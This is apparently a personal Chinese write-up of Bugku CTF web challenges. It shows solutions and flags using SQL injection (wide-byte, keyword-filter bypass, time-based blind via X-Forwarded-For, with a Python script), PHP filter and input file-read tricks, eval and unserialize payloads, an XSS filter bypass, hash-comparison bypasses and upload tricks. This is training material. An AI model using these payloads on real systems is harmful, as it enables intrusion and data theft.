0x00.前言
本篇文章只写给自己看。
纪录做题，与知识。
如果没更新完，那便鸽了吧。
0x01. web2
题目内容:听说聪明的人都能找到答案
f12查看源码
KEY{Web-2-bugKssNNikls9100}
0x02.文件上传测试
题目内容:
1、请上传PHP文件
2、文件上传大小不允许超过1M
随便上传一个php文件，Content-Type改为image/png(or jpeg/gif...).
Flag:42e97d465f962c53df9549377b513c7e
0x03.计算器
f12修改js代码即可.
flag{CTF-bugku-0032}
0x04.web基础$_GET
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
简单的get请求
http://120.24.86.145:8002/get/?what=flagflag:flag{bugku_get_su8kej2en}
0x05.web基础$_POST
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}'
简单的post请求
将what=flagpost即可
flag:flag{bugku_get_ssseint67se}
0x06.矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
is_numeric()判断num是否为数字,但我们可以通过科学记数法绕过.
1.使用科学技术法可绕过:num=1e0.1
== 在进行比较的时候,会先将字符串类型转化成相同,再比较.
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行.
当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值在整形的范围之内
该字符串被当作int来取值，其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值，否则其值为0.
2.使用1+字符串可绕过:num=1a
flag{bugku-789-ps-ssdf}
0x07.web3
弹窗点掉f12查看源码,底部html转义序列中数字转字符即可.
随便写个脚本.
#!usr/bin/env python
#-*- coding:utf-8 -*-
import os
s='KEY{J2sa42ahJK-HS11III}'
s1=s.replace(';&#',' ').replace('yes','no')
s2=s1.replace('&#','').replace('yes','no')
s3=s2.replace(';',' ').replace('yes','no')
flag=''
i=0
while((s3[i:i+2])!=''):
if(int(s3[i:i+2])>30):
flag+=chr(int(s3[i:i+2]))
i+=3
else:
flag+=chr(int(s3[i:i+3]))
i+=4
print flag
KEY{J2sa42ahJK-HS11III}
0x08.sql注入
<meta charset="gb2312" />f12查看源码,发现使用gb2312编码.
容易想到使用宽字节注入.
?id=1%df%27 union select 1,database() %23 #爆库sql5
?id=1%df%27 union select 1,string from sql5.key where id=1 %23 #得到flagKEY{54f3320dc261f313ba712eb3f13a1f6d}
0x09.域名解析
题目内容:听说把 flag.bugku.com 解析到120.24.86.145就能拿到flag
这里使用firefox附加组件Modify Header Value(HTTP headers).
添加Host:flag.bugku.com,打开120.24.86.145,就能得到flag.
KEY{DSAHDSJ82HDS2211}
0x10.sql注入1
提示：过滤了关键字 你能绕过他吗
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字！'.$value);
}
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
其中strip_tags可以使用<>绕过.
?id=1 un<>ion sel<>ect 1,database() %23 #爆库sql3
?id=1 un<>ion sel<>ect 1,hash fr<>om sql3.key wh<>ere id=1 %23 #得到flag
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
0x11.你必须让他停下
打开查看源码不断f5直到flag.
flag{dummy_game_1s_s0_popular}
0x12.本地包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?> 构造payload:
hello=);print_r(file("./flag.php")); // eval( "var_dump($a);")
flag{bug-ctf-gg-99}
0x13.变量1
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>看到eval("var_dump($$args);");,我们可以传入超全局变量获得flag.
$GLOBALS 这种全局变量用于在PHP脚本中的任意位置访问全局变量（从函数或方法中均可）.
PHP在名为$GLOBALS[index]的数组中存储了所有全局变量.变量的名字就是数组的键.
?args=GLOBALS
flag{92853051ab894a64f7865cf3c2128b34}
0x14.web5
查看源码一段jsfuck代码,f12扔进控制台即可.
CTF{WHATFK}
0x15.头等舱
抓包在响应包里看到flag.
flag{Bugku_k8_23s_istra}
0x16.web4
题目内容:看看源代码吧
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));代码意义就是输出p1+%35%34%61%61%32+p2
写个脚本或随便找个网站解密url编码.
#!usr/bin/env python
#-*- coding:utf-8 -*-
import urllib
s='%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62%35%34%61%61%32%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'
print urllib.unquote(s)解密又是一段代码.
function checkSubmit()
{
var a=document.getElementById("password");
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;看到重要代码if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value),输入67d709b2b54aa2aa648cf6e87a7114f1即可获取flag.
KEY{J22JK-HS11}
0x17.flag在index里
看到参数file,猜测文件包含,结合题目.
?file=php://filter/read=convert.base64-encode/resource=index.php
一段base64编码,解码看到flag.
flag{edulcni_elif_lacol_si_siht}
0x18.输入密码查看flag
抓包使用burpsuite的intruder进行五位数字爆破.
数字为13579时得到flag.
flag{bugku-baopo-hah}
0x19.点击一百万下
简单的js代码,post clicks=1000000即可得到flag.
flag{Not_C00kI3Cl1ck3r}
0x20.备份是个好习惯
猜测可能是源码泄露,输入index.php.bak得到源码.
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
代码过滤了一个key,于是构造payload.
?kkeyey1[]=a&kkeyey2[]=b
Bugku{OH_YOU_FIND_MY_MOMY}
0x21.成绩单
查列为3.
库名 skctf_flag
id=' union select 1,1,1,group_concat(schema_name) from information_schema.SCHEMATA#
表名 fl4g
id=' union select 1,1,1,group_concat(table_name) from information_schema.TABLES where table_schema='skctf_flag'#
字段名 skctf_flag
id=' union select 1,1,1,group_concat(column_name) from information_schema.COLUMNS where table_name='fl4g'#
flag
id=' union select 1,1,1,group_concat(skctf_flag) from fl4g #
BUGKU{Sql_INJECT0N_4813drd8hz4}
0x22.秋名山老司机
正则表达式匹配算术表达式，将最后的值(value)post即可.
#!usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import re
import os
url='http://120.24.86.145:8002/qiumingshan/'
s=requests.Session()
r=s.get(url)
math=re.findall('<div>(.*)=?;</div>',r.text)
math=''.join(math)
math=math.replace('=?','').replace('yes','no')
data={"value":eval(math)}
r=s.post(url,data)
print r.text
多跑几次才能出flag.
Bugku{YOU_DID_IT_BY_SECOND}
0x23.速度要快
抓包看到响应包头部有flag,经过两次base64加密.
提示把margin post即可.
写脚本
#!usr/bin/env python
#-*- coding:utf-8 -*-
import base64
import urllib2
import requests
url='http://120.24.86.145:8002/web6/'
response=urllib2.urlopen(url)
flag=base64.b64decode(base64.b64decode(response.headers['flag']).split(':')[1])
s=requests.Session()
flag={'margin':flag}
print s.post(url,flag).text
建议换个cpu跑脚本.
KEY{111dd62fcd377076be18a}
0x24.cookies欺骗
看到url里有串base64编码,解密为keys.txt.
想读index.php,于是将index.php编码替换,发现没有回显.
看到url里还有一个参数line,随便输一个1发现有回显,写个脚本遍历line.
#!usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import base64
r=requests.Session()
for i in range(0,40):
print r.get('http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'%i).text
得到源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
将keys.php编码后传入,将cookie:margin=margin传入,拿到flag.
KEY{key_keys}
0x25.XSS
查看源码.
var s=""; document.getElementById('s').innerHTML = s;
这里吐槽一下用id传参.
?id=<script>alert(key)</script>发现<>被过滤.
于是使用unicode编码绕过.
?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e
Flag:17f094325e90085b30a5ddefce34acd8
0x26.never give up
源码提示1p.html.
抓包,看到奇怪字符串.
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->写个脚本解密.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import base64
s='%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E'
print urllib.unquote(s)
s='JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ=='
print base64.b64decode(s)
s='%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E'
print urllib.unquote(s)
最后得到
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
file_get_contents用php://input绕过.eregi()可以用%00截断
payload:id=%00&a=php://input&b=%001114
postdata:bugku is a nice plateform!
但是直接访问f4l2a3g.txt就能拿到flag. ??????????wtf
flag{tHis_iS_THe_fLaG}
0x27.welcome to bugkuctf
f12查看源码.
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
老套路file_get_contents用php://input绕过
文件读取hint.php
payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
postdata:welcome to the bugkuctf
base64解密,拿到源码.
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?> 验证了payload可用
再次文件读取index.php,拿到本题所有源码.
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
---> 关键代码
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
----------------------------------------------
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
--------------------------------------------
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?> 第一段代码当user=welcome to the bugkuctf进入循环,然后进入反序列化代码.
第二段代码当我们尝试读取flag.php时,就会报错,进入else通过反序列化password,最后输出password的内容,所以我们可以让password=flag.php,最后输出.
第三段代码典型的反序列化代码,不多解释.
payload:?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
postdata:welcome to the bugkuctf
flag{php_is_the_best_language}
0x28.过狗一句话
首先我们知道php中查看文件的函数有
print_r
var_dump
show_source匹配文件函数有
glob()
Scandir()那么开始吧.
?s=var_dump(glob('*.txt'))
array(7) { [0]=> string(7) "123.txt" [1]=> string(5) "a.txt" [2]=> string(8) "flag.txt" [3]=> string(7) "ldl.txt" [4]=> string(10) "olivia.txt" [5]=> string(12) "testfile.txt" [6]=> string(16) "zaizheliflag.txt" } 坑爹的题目，To JBfei！
---------------------------------------------------------------------------------------------
?s=var_dump(glob('*.php'))
array(27) { [0]=> string(5) "1.php" [1]=> string(5) "2.php" [2]=> string(5) "3.php" [3]=> string(5) "4.php" [4]=> string(5) "5.php" [5]=> string(5) "a.php" [6]=> string(5) "c.php" [7]=> string(11) "chaoba1.php" [8]=> string(11) "chaoba2.php" [9]=> string(8) "ddee.php" [10]=> string(5) "f.php" [11]=> string(5) "h.php" [12]=> string(8) "haha.php" [13]=> string(9) "index.php" [14]=> string(6) "ll.php" [15]=> string(11) "loshell.php" [16]=> string(11) "oudeniu.php" [17]=> string(11) "phpspy1.php" [18]=> string(5) "q.php" [19]=> string(6) "t2.php" [20]=> string(9) "txxxc.php" [21]=> string(5) "x.php" [22]=> string(6) "xb.php" [23]=> string(8) "xxoo.php" [24]=> string(9) "xxoos.php" [25]=> string(7) "xxx.php" [26]=> string(6) "zx.php" } 坑爹的题目，To JBfei！
---------------------------------------------------------------------------------------------
?s=var_dump(Scandir('./'))
array(44) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "1.php" [3]=> string(7) "123.txt" [4]=> string(5) "2.php" [5]=> string(5) "3.php" [6]=> string(5) "4.php" [7]=> string(5) "5.php" [8]=> string(11) " string(21) " string(22) " string(13) "README.README" [12]=> string(5) "a.php" [13]=> string(5) "a.txt" [14]=> string(5) "c.php" [15]=> string(6) "chaoba" [16]=> string(11) "chaoba.aspx" [17]=> string(11) "chaoba1.php" [18]=> string(11) "chaoba2.php" [19]=> string(4) "conn" [20]=> string(8) "ddee.php" [21]=> string(6) "f.html" [22]=> string(5) "f.php" [23]=> string(8) "flag.txt" [24]=> string(5) "h.php" [25]=> string(8) "haha.php" [26]=> string(9) "index.php" [27]=> string(7) "ldl.txt" [28]=> string(6) "ll.php" [29]=> string(11) "loshell.php" [30]=> string(10) "olivia.txt" [31]=> string(11) "oudeniu.php" [32]=> string(11) "phpspy1.php" [33]=> string(5) "q.php" [34]=> string(6) "t2.php" [35]=> string(12) "testfile.txt" [36]=> string(9) "txxxc.php" [37]=> string(5) "x.php" [38]=> string(6) "xb.php" [39]=> string(8) "xxoo.php" [40]=> string(9) "xxoos.php" [41]=> string(7) "xxx.php" [42]=> string(16) "zaizheliflag.txt" [43]=> string(6) "zx.php" } 坑爹的题目，To JBfei！
payload:?s=show_source('flag.txt')
BUGKU{bugku_web_009801_a}
0x29.字符?正则？
绕过正则表达式.
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
本人正则表达式已经疲弱,直接放上大哥的解析.
- 表达式直接写出来的字符串直接利用，如key
- “.”代表任意字符
- “*”代表一个或一序列字符重复出现的次数，即前一个字符重复任意次，这里可以是0次，还有就是以’^’开头，以’$’结束
- “/”代表“/”，一种转义，因为单独的//代表着正则的开始与结束
- [a-z]代表a-z中的任意一个字符
- [[:punct:]]代表任意一个字符，包括各种符号，记得是符号
/i代表大小写不敏感- {4-7}代表[0-9]中数字连续出现的次数是4-7次
\s匹配任意的空白符\d匹配数字\b匹配单词的开始或结束
payload:?id=keykekeykeykeykey:/k/kekeya[:]
flag:KEY{0x0SIOPh550afc}
0x30.前女友(SKCTF)
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
简单的md5和相等比较,以及strcmp函数绕过
http://118.89.219.210:49162/index.php?v1=240610708&v2=QNKCDZO&v3[]=
SKCTF{Php_1s_tH3_B3St_L4NgUag3}
0x31.login1(SKCTF)
百度sql约束攻击,得到以下内容
需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时，它只会插入前25个字符。
这里我们只需要注册一个账号大于25位的admin账号进行登陆,就能拿到admin数据
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
0x32.你从哪里来
are you from google?
添加referer头部字段
referer: https://www.google.com
flag{bug-ku_ai_admin}
0x33.md5 collision
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
简单的md5比较绕过
http://120.24.86.145:9009/md5.php?a=240610708
flag{md5_collision_is_easy}
0x34.各种绕过
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
简单的sha1()绕过即可
http://120.24.86.145:8002/web7/?uname[]=1&id=margin
post:passwd[]=2
flag{HACK_45hhs_213sDD}
0x35.web8
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
extract可以将$_GET数组的值转为变量，默认是如果有冲突，则覆盖已有的变量
http://120.24.86.145:8002/web8/?fn=php://input&ac=1
post:1
flag{3cfb7a90fc0de31}
0x36.细心
进来没看到东西
习惯打开robots.txt,发现resul1.php
关键代码
if ($_GET[x]==$password)
题目提示变成admin
payload:x=admin
flag(ctf_0098_lkji-s)
0x36.求getshell
My name is margin,give me a image file not a php
上传
题目提示上传图片,看到php估计跟后缀名有关.
修改后缀名,发现无法绕过.
这里想到修改Content-Type: multipart/form-data到Content-Type: Multipart/form-data
绕过大小写,成功得到flag.
KEY{bb35dc123820e}
0x37.INSERT INTO注入
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
这题不是很懂
这里直接引用学校大佬l1k3r的writeup了
从代码来看，应该是X_FORWARDED_FOR注入了，但是过滤了,.在过滤了逗号的情况下，就无法使用if语句了，当然在mysql下除了if还有一个功能的东西
select case when xxx then xxx else xxx end;
而且由于,被过滤，无法使用substr和substring,但是这里可以使用from 1 for 1替代,最后payload如下:
11'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))%23
#!usr/bin/env python
#-*- codingutf-8 -*-
import requests
import string
mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1" #这里的{}对应的是后面所需要的format
flag = ''
for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += j
print flag
break
print 'The final flag:'+flag
